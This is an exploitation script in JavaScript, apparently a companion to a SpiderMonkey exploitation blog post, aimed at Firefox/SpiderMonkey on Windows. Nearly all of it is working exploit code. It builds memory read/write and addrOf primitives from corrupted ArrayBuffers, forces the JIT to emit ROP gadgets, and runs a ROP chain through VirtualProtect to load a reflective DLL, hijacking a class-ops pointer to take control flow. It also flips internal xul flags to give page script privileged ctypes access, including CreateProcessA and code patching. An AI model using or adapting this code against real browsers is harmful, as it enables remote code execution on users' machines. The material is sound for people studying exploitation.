README.md
Rendering markdown...
// Axel '0vercl0k' Souchet - 19 November 2019
BigInt.fromBytes = Bytes => {
let Int = BigInt(0);
for(const Byte of Bytes.reverse()) {
Int = (Int << 8n) | BigInt(Byte);
}
return Int;
};
BigInt.toBytes = Addr => {
let Remainder = Addr;
const Bytes = [];
while(Remainder != 0) {
const Low = Remainder & 0xffn;
Remainder = Remainder >> 8n;
Bytes.push(Number(Low));
}
//
// Pad it if we need to do so.
//
if(Bytes.length < 8) {
while(Bytes.length != 8) {
Bytes.push(0);
}
}
return Bytes;
};
BigInt.fromUint32s = Uint32s => {
let Int = BigInt(0);
for(const Uint32 of Uint32s.reverse()) {
Int = (Int << 32n) | BigInt(Uint32);
}
return Int;
};
BigInt.fromJSValue = Addr => {
return Addr & 0x0000ffffffffffffn;
};
//
// Walks the IAT of ModuleBase until finding the ImportDescriptor
// for DllName2Find.
//
function FindImportDescriptor(Memory, ModuleBase, DllName2Find) {
// dt ntdll!_IMAGE_DOS_HEADER e_lfanew
// +0x03c e_lfanew : Int4B
const ImgDosHeader_e_lfanew = Memory.Read32(ModuleBase + 0x3cn);
const ImgNtHeaders64 = ModuleBase + ImgDosHeader_e_lfanew;
// 0:000> dt ntdll!_IMAGE_NT_HEADERS64 OptionalHeader
// +0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER64
// 0:000> dt ntdll!_IMAGE_OPTIONAL_HEADER64 DataDirectory
// +0x070 DataDirectory : [16] _IMAGE_DATA_DIRECTORY
// 0:000> ?? sizeof(_IMAGE_DATA_DIRECTORY)
// unsigned int64 8
// 0:000> dt ntdll!_IMAGE_DATA_DIRECTORY
// ntdll!_IMAGE_DATA_DIRECTORY
// +0x000 VirtualAddress : Uint4B
let ImportDescriptor = ModuleBase + Memory.Read32(
ImgNtHeaders64 + 0x18n + 0x70n + (1n * 8n)
);
let Found = false;
while(1337) {
const NameRVA = Memory.Read32(
ImportDescriptor + 3n*4n
);
if(NameRVA == 0n) {
//
// It means the RVA of the name was 0 and as a result
// NameAddress is pointing right on the MZ header of the Module.
//
break;
}
const NameAddress = ModuleBase + NameRVA;
const Name = Memory.ReadString(NameAddress);
dbg('[*] ImportDescriptor @ ' + ImportDescriptor.toString(16) + ': ' + NameAddress.toString(16) + ': ' + Name);
if(Name.toLowerCase() == DllName2Find.toLowerCase()) {
Found = true;
break;
}
ImportDescriptor = ImportDescriptor + 0x14n;
}
if(!Found) {
dbg('[-] Could not find the import descriptor for ' + DllName2Find);
ImportDescriptor = null;
}
return ImportDescriptor;
}
//
// Walks the imported APIs by the ImportDescriptor and returns their address.
//
function FindImportedAPIsFromImportDescriptor(Memory, ModuleBase, ImportDescriptor, ...APINames) {
const Results = {};
const ImportNames = ModuleBase + Memory.Read32(ImportDescriptor);
const APINamesLower = APINames.map(p => p.toLowerCase());
const ImportAddresses = ModuleBase + Memory.Read32(
ImportDescriptor + 4n * 4n
);
dbg('[*] Looking for ' + APINames.join(', ') + '..');
dbg('[+] Imports Name Array is @ ' + ImportNames.toString(16));
dbg('[+] Imports Address Array is @ ' + ImportAddresses.toString(16));
let Idx = BigInt(0);
while(1337) {
const ImportAddress = Memory.ReadPtr(ImportAddresses + Idx * 8n);
if(ImportAddress == 0n) {
//
// We are done walking the imports for this descriptor.
//
break;
}
const ImportNameAddress = ModuleBase + Memory.ReadPtr(
ImportNames + Idx * 8n
) + 2n;
const ImportName = Memory.ReadString(ImportNameAddress);
const ImportNameLower = ImportName.toLowerCase();
dbg('[*] Function: ' + ImportName + ' is @ ' + ImportAddress.toString(16));
if(APINamesLower.includes(ImportNameLower)) {
Results[ImportNameLower] = ImportAddress;
}
if(Object.keys(Results).length == APINamesLower.length) {
//
// If we found all our APIs then we're out!
//
break;
}
Idx++;
}
const Addresses = [];
for(const APINameLower of APINamesLower) {
const Address = Results.hasOwnProperty(APINameLower) ? Results[APINameLower] : null;
Addresses.push(Address);
}
if(Addresses.length == 1) {
//
// If we only have one address to return, let's just return it as opposed to
// returning the Array.
// This allows the caller to invoke the function like the below:
// `const foo = FindImportedAPIsFromImportDescriptor(Kern32, 'foo');`
// as opposed to:
// `const [foo] = FindImportedAPIsFromImportDescriptor(Kern32, 'foo');`
//
return Addresses[0];
}
return Addresses;
}
//
// Walks the IAT and returns the addresses of the APIs requested.
//
function FindImportedAPIs(Memory, ModuleBase, DllName, ...APINames) {
const ImportDescriptor = FindImportDescriptor(Memory, ModuleBase, DllName);
if(ImportDescriptor == null) {
//
// If we don't find an ImportDescriptor, we return an array of nulls; one for
// each of the requested API.
//
const Nulls = APINames.map(_ => null);
if(APINames.length == 1) {
return Nulls[0];
}
return Nulls;
}
return FindImportedAPIsFromImportDescriptor(
Memory, ModuleBase,
ImportDescriptor,
...APINames
);
}
//
// Scan back page, by page until finding the base of the module
// Address belongs to.
//
function FindModuleBase(Memory, Address) {
let Base = Address & 0xfffffffffffff000n;
while(1337) {
const MZ = Array.from(Memory.Read(Base, 2)).map(
c => String.fromCharCode(c)
).join('');
if(MZ == 'MZ') {
break;
}
Base = Base - 0x1000n;
}
return Base;
}
//
// Compare two arrays.
//
function ArrayCmp(A, B) {
if(A.length != B.length) {
return false;
}
for(let Idx = 0; Idx < A.length; Idx++) {
if(A[Idx] != B[Idx]) {
return false;
}
}
return true;
}
//
// BYOG documented here:
// https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#force-the-jit-of-arbitrary-gadgets-bring-your-own-gadgets
//
const BringYourOwnGadgets = function () {
//
// Magic:
// 00000350`ed5f77f8 49bb30766572636c306b mov r11,6B306C6372657630h
// 0:000> db 00000350`ed5f77f8+2 l8
// 00000350`ed5f77fa 30 76 65 72 63 6c 30 6b 0vercl0k
//
const Magic = 2.1091131882779924e+208;
//
// Pop:
// 0:000> u 0x00000350ed5f7808
// 00000350`ed5f7808 59 pop rcx
// 00000350`ed5f7809 5a pop rdx
// 00000350`ed5f780a 4158 pop r8
// 00000350`ed5f780c 4159 pop r9
// 00000350`ed5f780e c3 ret
// 00000350`ed5f780f 90 nop
//
const PopRegisters = -6.380930795567661e-228;
//
// Pivot:
// 0:000> u 0x00000350ed5f7816-2 l1
// 00000350`ed5f7814 49bb4887e2909090eb06 mov r11,6EB909090E28748h
// 0:000> u 0x00000350ed5f7816 l5
// 00000350`ed5f7816 4887e2 xchg rsp,rdx
// 00000350`ed5f7819 90 nop
// 00000350`ed5f781a 90 nop
// 00000350`ed5f781b 90 nop
// 00000350`ed5f781c eb06 jmp 00000350`ed5f7824
// 0:000> u 00000350`ed5f7824 l4
// 00000350`ed5f7824 488b2424 mov rsp,qword ptr [rsp]
// 00000350`ed5f7828 90 nop
// 00000350`ed5f7829 90 nop
// 00000350`ed5f782a eb06 jmp 00000350`ed5f7832
// 0:000> u 00000350`ed5f7832
// 00000350`ed5f7832 488b642438 mov rsp,qword ptr [rsp+38h]
// 00000350`ed5f7837 c3 ret
// 00000350`ed5f7838 90 nop
// 00000350`ed5f7839 90 nop
//
const Pivot0 = 2.4879826032820723e-275;
const Pivot1 = 2.487982018260472e-275;
const Pivot2 = -6.910095487116115e-229;
};
//
// This function returns a set of read/write primitives built off two consecutive ArrayBuffers.
//
function BuildPrimitives(AB1, AB2) {
const Read = (Addr, Length) => {
let OddOffset = 0;
if((Addr & 0x1n) == 1n) {
Length += 1;
OddOffset = 1;
}
//
// Fix AB2's base address from AB1.
//
Addr = Addr >> 1n;
const Master = new Uint8Array(AB1);
for(const [Idx, Byte] of BigInt.toBytes(Addr).entries()) {
Master[Idx + 0x40] = Byte;
}
const View = new Uint8Array(AB2);
return View.slice(OddOffset, Length);
};
const Write = (Addr, Values) => {
let OddOffset = 0;
if((Addr & 0x1n) == 1n) {
OddOffset = 1;
}
//
// Fix AB2's base address from AB1.
//
Addr = Addr >> 1n;
const Master = new Uint8Array(AB1);
for(const [Idx, Byte] of BigInt.toBytes(Addr).entries()) {
Master[Idx + 0x40] = Byte;
}
const View = new Uint8Array(AB2);
for(const [Idx, Byte] of Values.entries()) {
View[OddOffset + Idx] = Number(Byte);
}
};
const ReadPtr = Addr => {
return BigInt.fromBytes(Read(Addr, 8));
};
const Read32 = Addr => {
return BigInt.fromBytes(Read(Addr, 4));
};
const ReadString = Addr => {
let S = '';
while(1337) {
const Byte = Read(Addr, 1);
Addr += 1n;
if(Byte == 0n) {
break;
}
S += String.fromCharCode(Number(Byte));
}
return S;
};
const WritePtr = (Addr, Ptr) => {
return Write(Addr, BigInt.toBytes(Ptr));
};
const AddrOf = Obj => {
AB2.hell_on_earth = Obj;
const SlotsAddress = BigInt.fromBytes(
new Uint8Array(AB1).slice(48, 48 + 8)
);
return BigInt.fromJSValue(ReadPtr(SlotsAddress));
};
return {
Read : Read,
Read32 : Read32,
ReadPtr : ReadPtr,
ReadString : ReadString,
Write : Write,
WritePtr : WritePtr,
AddrOf : AddrOf,
};
}
//
// This function implements kernelbase!GetModuleHandleA with the `ctypes` JS module.
//
function GetModuleHandleA(Lib) {
function _GetModuleHandleA(Lib) {
const { ctypes } = Components.utils.import('resource://gre/modules/ctypes.jsm');
const kernelbase = ctypes.open('kernelbase.dll');
const FunctPtr = kernelbase.declare('GetModuleHandleA',
ctypes.winapi_abi,
ctypes.uintptr_t,
ctypes.char.ptr,
);
const Success = FunctPtr(Lib);
kernelbase.close();
return Success;
}
const { Services } = Components.utils.import('resource://gre/modules/Services.jsm');
const Cu = Components.utils;
const Sbx = Cu.Sandbox(Services.scriptSecurityManager.getSystemPrincipal());
const Code = _GetModuleHandleA.toSource();
Cu.evalInSandbox(Code, Sbx);
const Ret = Sbx._GetModuleHandleA(Lib);
Cu.nukeSandbox(Sbx);
return Ret
}
//
// This function implements msvcrt!memcpy with the `ctypes` JS module.
//
function memcpy(Dst, Src) {
function _memcpy(Dst, Src) {
const { ctypes } = Components.utils.import('resource://gre/modules/ctypes.jsm');
const msvcrt = ctypes.open('msvcrt.dll');
const FunctPtr = msvcrt.declare('memcpy',
ctypes.winapi_abi,
ctypes.voidptr_t,
ctypes.uintptr_t,
ctypes.char.ptr,
ctypes.size_t
);
const Dest = new ctypes.uintptr_t(Dst.toString());
const Source = new Uint8Array(Src);
const Num = new ctypes.size_t(Src.length);
const Success = FunctPtr(Dest, Source, Num);
msvcrt.close();
return Success;
}
const { Services } = Components.utils.import('resource://gre/modules/Services.jsm');
const Cu = Components.utils;
const Sbx = Cu.Sandbox(Services.scriptSecurityManager.getSystemPrincipal());
const Code = _memcpy.toSource();
Cu.evalInSandbox(Code, Sbx);
const Ret = Sbx._memcpy(Dst, Src);
Cu.nukeSandbox(Sbx);
return Ret
}
//
// This function implements kernelbase!VirtualProtect with the `ctypes` JS module.
//
function VirtualProtect(Address, Size, NewProtect) {
function _VirtualProtect(Address, Size, NewProtect) {
const { ctypes } = Components.utils.import('resource://gre/modules/ctypes.jsm');
const kernelbase = ctypes.open('kernelbase.dll');
const FunctPtr = kernelbase.declare('VirtualProtect',
ctypes.winapi_abi,
ctypes.bool,
ctypes.uintptr_t,
ctypes.uintptr_t,
ctypes.uint32_t,
ctypes.uint32_t.ptr
);
const Dest = new ctypes.uintptr_t(Address.toString());
const OldNewProtect = new ctypes.uint32_t(0);
const Success = FunctPtr(Dest, Size, NewProtect, OldNewProtect.address());
kernelbase.close();
return [Success, OldNewProtect];
}
const { Services } = Components.utils.import('resource://gre/modules/Services.jsm');
const Cu = Components.utils;
const Sbx = Cu.Sandbox(Services.scriptSecurityManager.getSystemPrincipal());
const Code = _VirtualProtect.toSource();
Cu.evalInSandbox(Code, Sbx);
const [Success, OldNewProtect] = Sbx._VirtualProtect(Address, Size, NewProtect);
Cu.nukeSandbox(Sbx);
return [Success, OldNewProtect];
}
//
// This function implements kernelbase!CreateProcessA with the `ctypes` JS module.
//
function CreateProcessA(CommandLine) {
function _CreateProcess(CommandLine) {
const { ctypes } = Components.utils.import('resource://gre/modules/ctypes.jsm');
const kernelbase = ctypes.open('kernelbase.dll');
// typedef struct _STARTUPINFOA {
// DWORD cb;
// LPSTR lpReserved;
// LPSTR lpDesktop;
// LPSTR lpTitle;
// DWORD dwX;
// DWORD dwY;
// DWORD dwXSize;
// DWORD dwYSize;
// DWORD dwXCountChars;
// DWORD dwYCountChars;
// DWORD dwFillAttribute;
// DWORD dwFlags;
// WORD wShowWindow;
// WORD cbReserved2;
// LPBYTE lpReserved2;
// HANDLE hStdInput;
// HANDLE hStdOutput;
// HANDLE hStdError;
// } STARTUPINFOA, *LPSTARTUPINFOA;
const STARTUPINFOA = new ctypes.StructType('STARTUPINFOA', [
{ 'cb' : ctypes.uint32_t },
{ 'lpReserved' : ctypes.char.ptr },
{ 'lpDesktop' : ctypes.char.ptr },
{ 'lpTitle' : ctypes.char.ptr },
{ 'dwX' : ctypes.uint32_t },
{ 'dwY' : ctypes.uint32_t },
{ 'dwXSize' : ctypes.uint32_t },
{ 'dwYSize' : ctypes.uint32_t },
{ 'dwXCountChars' : ctypes.uint32_t },
{ 'dwYCountChars' : ctypes.uint32_t },
{ 'dwFillAttribute' : ctypes.uint32_t },
{ 'dwFlags' : ctypes.uint32_t },
{ 'wShowWindow' : ctypes.uint16_t },
{ 'cbReserved2' : ctypes.uint16_t },
{ 'lpReserved2' : ctypes.voidptr_t },
{ 'hStdInput' : ctypes.voidptr_t },
{ 'hStdOutput' : ctypes.voidptr_t },
{ 'hStdError' : ctypes.voidptr_t }
]);
// typedef struct _PROCESS_INFORMATION {
// HANDLE hProcess;
// HANDLE hThread;
// DWORD dwProcessId;
// DWORD dwThreadId;
// } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
const PROCESS_INFORMATION = new ctypes.StructType('PROCESS_INFORMATION', [
{ 'hProcess' : ctypes.voidptr_t },
{ 'hThread' : ctypes.voidptr_t },
{ 'dwProcessId' : ctypes.uint32_t },
{ 'dwThreadId' : ctypes.uint32_t },
]);
// BOOL CreateProcessA(
// LPCSTR lpApplicationName,
// LPSTR lpCommandLine,
// LPSECURITY_ATTRIBUTES lpProcessAttributes,
// LPSECURITY_ATTRIBUTES lpThreadAttributes,
// BOOL bInheritHandles,
// DWORD dwCreationFlags,
// LPVOID lpEnvironment,
// LPCSTR lpCurrentDirectory,
// LPSTARTUPINFOA lpStartupInfo,
// LPPROCESS_INFORMATION lpProcessInformation
// );
const FunctPtr = kernelbase.declare('CreateProcessA',
ctypes.winapi_abi,
ctypes.bool,
ctypes.voidptr_t,
ctypes.char.ptr,
ctypes.voidptr_t,
ctypes.voidptr_t,
ctypes.bool,
ctypes.uint32_t,
ctypes.voidptr_t,
ctypes.voidptr_t,
STARTUPINFOA.ptr,
PROCESS_INFORMATION.ptr
);
const ApplicationName = new ctypes.voidptr_t(0);
const ProcessAttributes = new ctypes.voidptr_t(0);
const ThreadAttributes = new ctypes.voidptr_t(0);
const InheritHandles = new ctypes.bool(false);
const CreationFlags = new ctypes.uint32_t(0);
const Environment = new ctypes.voidptr_t(0);
const CurrentDirectory = new ctypes.voidptr_t(0);
const StartupInfo = new STARTUPINFOA();
StartupInfo.cb = STARTUPINFOA.size;
const ProcessInformation = new PROCESS_INFORMATION();
const Success = FunctPtr(
ApplicationName,
CommandLine,
ProcessAttributes,
ThreadAttributes,
InheritHandles,
CreationFlags,
Environment,
CurrentDirectory,
StartupInfo.address(),
ProcessInformation.address()
);
kernelbase.close();
return Success;
}
const { Services } = Components.utils.import('resource://gre/modules/Services.jsm');
const Cu = Components.utils;
const Sbx = Cu.Sandbox(Services.scriptSecurityManager.getSystemPrincipal());
const Code = _CreateProcess.toSource();
Cu.evalInSandbox(Code, Sbx);
const Ret = Sbx._CreateProcess(CommandLine);
Cu.nukeSandbox(Sbx);
return Ret
}
//
// This function allows the user to patch executeable section using ctypes.
//
function PatchCode(PatchAddress, PatchContent) {
const PAGE_EXECUTE_READWRITE = 0x40;
const [Status, OldProtect] = VirtualProtect(
PatchAddress,
PatchContent.length,
PAGE_EXECUTE_READWRITE
);
if(!Status) {
return false;
}
memcpy(PatchAddress, PatchContent);
const [_Status, _OldNewProtect] = VirtualProtect(
PatchAddress,
PatchContent.length,
OldProtect
);
return true;
}
//
// This function gives god mode to the current page.
//
function GodMode(AB1, AB2, Primitives, XulsAutomationPrefIsSet, XuldisabledForTest) {
if(Primitives == undefined) {
//
// Build up the primitives to be able to get to work.
//
Primitives = BuildPrimitives(AB1, AB2);
}
//
// Find js/xul base address
//
const EmptyElementsHeaders = BigInt.fromBytes(
new Uint8Array(AB1).slice(0x38, 0x38 + 8)
);
const JSBase = FindModuleBase(Primitives, EmptyElementsHeaders);
dbg('[+] xul.dll is @ ' + JSBase.toString(16));
const XulsAutomationPrefIsSetAddress = JSBase + XulsAutomationPrefIsSet;
dbg(`Snipping xul!sAutomationPrefIsSet @ ${XulsAutomationPrefIsSetAddress.toString(16)}`);
Primitives.Write(XulsAutomationPrefIsSetAddress, [1n]);
const XuldisabledForTestAddress = JSBase + XuldisabledForTest;
dbg(`Snipping xul!XuldisabledForTestAddress @ ${XuldisabledForTestAddress.toString(16)}`);
Primitives.Write(XuldisabledForTestAddress, [1n]);
}
//
// This is documented here:
// https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
//
function Pwn(AB1, AB2) {
//
// Build up the primitives to be able to get to work.
//
const Primitives = BuildPrimitives(AB1, AB2);
//
// Find js/xul base address
//
const EmptyElementsHeaders = BigInt.fromBytes(
new Uint8Array(AB1).slice(0x38, 0x38 + 8)
);
const JSBase = FindModuleBase(Primitives, EmptyElementsHeaders);
dbg('[+] js.exe is @ ' + JSBase.toString(16));
//
// Go and find VirtualProtect.
//
const VirtualProtect = FindImportedAPIs(Primitives, JSBase, 'kernel32.dll', 'VirtualProtect');
dbg('[+] kernel32!VirtualProtect is @ ' + VirtualProtect.toString(16));
const ReflectiveDllAddress = Primitives.ReadPtr(
Primitives.AddrOf(ReflectiveDll) + 8n * 7n
);
dbg('[+] Reflective dll is @ ' + ReflectiveDllAddress.toString(16));
const ReflectiveLoaderAddress = ReflectiveDllAddress + ReflectiveLoaderOffset;
dbg('[+] ReflectiveLoader is @ ' + ReflectiveLoaderAddress.toString(16));
//
// Bring your own gadgetz boiz!
//
const Magic = '0vercl0k'.split('').map(c => c.charCodeAt(0));
//
// Force JITing of the gadgets.
//
for(let Idx = 0; Idx < 12; Idx++) {
BringYourOwnGadgets();
}
//
// Retrieve addresses of the gadgets.
//
const BringYourOwnGadgetsAddress = Primitives.AddrOf(BringYourOwnGadgets);
const JsScriptAddress = Primitives.ReadPtr(
BringYourOwnGadgetsAddress + 0x30n
);
const JittedAddress = Primitives.ReadPtr(JsScriptAddress);
dbg('[+] JITed function is @ ' + JittedAddress.toString(16));
let JitPageStart = JittedAddress & 0xfffffffffffff000n;
dbg('[+] JIT page of gadget store is @ ' + JitPageStart.toString(16));
//
// Scan the JIT page, pages by pages until finding the magic value. Our
// gadgets follow it.
//
let MagicAddress = 0;
let FoundMagic = false;
for(let PageIdx = 0; PageIdx < 3 && !FoundMagic; PageIdx++) {
const JitPageContent = Primitives.Read(JitPageStart, 0x1000);
dbg('[+] Scanning JIT page @ ' + JitPageStart.toString(16));
for(let ContentIdx = 0; ContentIdx < JitPageContent.byteLength; ContentIdx++) {
const Needle = JitPageContent.subarray(
ContentIdx, ContentIdx + Magic.length
);
if(ArrayCmp(Needle, Magic)) {
//
// If we find the magic value, then we compute its address, and we getta outta here!
//
MagicAddress = JitPageStart + BigInt(ContentIdx);
FoundMagic = true;
break;
}
}
JitPageStart = JitPageStart + 0x1000n;
}
dbg('[+] Magic is at @ ' + MagicAddress.toString(16));
const PopRcxRdxR8R9Address = MagicAddress + 0x8n + 4n + 2n;
const RetAddress = PopRcxRdxR8R9Address + 6n;
const PivotAddress = PopRcxRdxR8R9Address + 0x8n + 4n + 2n;
dbg('[+] PopRcxRdxR8R9 is @ ' + PopRcxRdxR8R9Address.toString(16));
dbg('[+] Pivot is @ ' + PivotAddress.toString(16));
dbg('[+] Ret is @ ' + RetAddress.toString(16));
//
// Prepare the backing buffer for the ROP chain. It is also the
// object we will use to hijack control flow later.
//
const TargetSize = 0x10000;
const Target = new Uint8Array(TargetSize);
const TargetBufferAddress = Primitives.ReadPtr(
Primitives.AddrOf(Target) + 8n * 7n
);
//
// We want the ropchain to start in the middle of the space because
// VirtualProtect might use a bunch of stack space and might underflow
// our buffer.
// In order to make things simple regarding our stack-pivot, we just fill
// the buffer with a ret-sled that will land on our rop-chain which is located
// in the middle of the region.
//
let Offset2RopChain = TargetSize / 2;
for(let Idx = 0; Idx < TargetSize; Idx += 8) {
Target.set(BigInt.toBytes(RetAddress), Idx);
}
//
// Prepare the ROP chain which makes the shellcode executable and jump to it.
//
const PAGE_EXECUTE_READ = 0x20n;
const RopChain = [
//
// Prepare arguments for a VirtualProtect call.
//
PopRcxRdxR8R9Address,
ReflectiveDllAddress,
BigInt(ReflectiveDll.length),
PAGE_EXECUTE_READ,
TargetBufferAddress,
//
// Make the reflective dll rwx memory.
//
VirtualProtect,
//
// We pop the homies (home space).
//
PopRcxRdxR8R9Address,
0xaaaaaaaaaaaaaaaan,
0xbbbbbbbbbbbbbbbbn,
0xccccccccccccccccn,
0xddddddddddddddddn,
//
// We pop some registers to pass parameters to our payload.
//
PopRcxRdxR8R9Address,
ReflectiveDllAddress,
0n,
0n,
0n,
//
// Let's go to the reflective loader.
//
ReflectiveLoaderAddress
];
for(const Entry of RopChain) {
Target.set(BigInt.toBytes(Entry), Offset2RopChain);
Offset2RopChain += 8;
}
//
// Retrieve a bunch of addresses needed to replace Target's clasp_ field
//
const TargetAddress = Primitives.AddrOf(Target);
const TargetGroup_ = Primitives.ReadPtr(TargetAddress);
const TargetClasp_ = Primitives.ReadPtr(TargetGroup_);
const TargetcOps = Primitives.ReadPtr(TargetClasp_ + 0x10n);
const TargetClasp_Address = TargetGroup_ + 0x0n;
const TargetShapeOrExpando_ = Primitives.ReadPtr(TargetAddress + 0x8n);
const TargetBase_ = Primitives.ReadPtr(TargetShapeOrExpando_);
const TargetBaseClasp_Address = TargetBase_ + 0n;
//
// Prepare backing memory for the js::Class object, as well as the js::ClassOps object
//
// 0:000> ?? sizeof(js!js::Class) + sizeof(js::ClassOps)
// unsigned int64 0x88
const MemoryBackingObject = new Uint8Array(0x88);
const MemoryBackingObjectAddress = Primitives.AddrOf(MemoryBackingObject);
const ClassMemoryBackingAddress = Primitives.ReadPtr(
MemoryBackingObjectAddress + 7n * 8n
);
// 0:000> ?? sizeof(js!js::Class)
// unsigned int64 0x30
const ClassOpsMemoryBackingAddress = ClassMemoryBackingAddress + 0x30n;
dbg('[+] js::Class / js::ClassOps backing memory is @ ' + Primitives.AddrOf(
MemoryBackingObject
).toString(16));
//
// Copy the original Class object into our backing memory, and hijack
// the cOps field
//
MemoryBackingObject.set(Primitives.Read(TargetClasp_, 0x30), 0);
MemoryBackingObject.set(BigInt.toBytes(ClassOpsMemoryBackingAddress), 0x10);
//
// Copy the original ClassOps object into our backing memory and hijack
// the add property
//
MemoryBackingObject.set(Primitives.Read(TargetcOps, 0x50), 0x30);
MemoryBackingObject.set(BigInt.toBytes(PivotAddress), 0x30);
//
// At this point, hijack Target's clasp_ fields; from both group and the
// shape. Note that we also update the shape as there's an assert in
// the debug build that makes sure the two classes matches
//
dbg("[*] Overwriting Target's clasp_ @ " + TargetClasp_Address.toString(16));
Primitives.WritePtr(TargetClasp_Address, ClassMemoryBackingAddress);
dbg("[*] Overwriting Target's shape clasp_ @ " + TargetBaseClasp_Address.toString(16));
Primitives.WritePtr(TargetBaseClasp_Address, ClassMemoryBackingAddress);
//
// Let's pull the trigger now
//
dbg('[*] Pulling the trigger bebe..');
Target.im_falling_and_i_cant_turn_back = 1;
}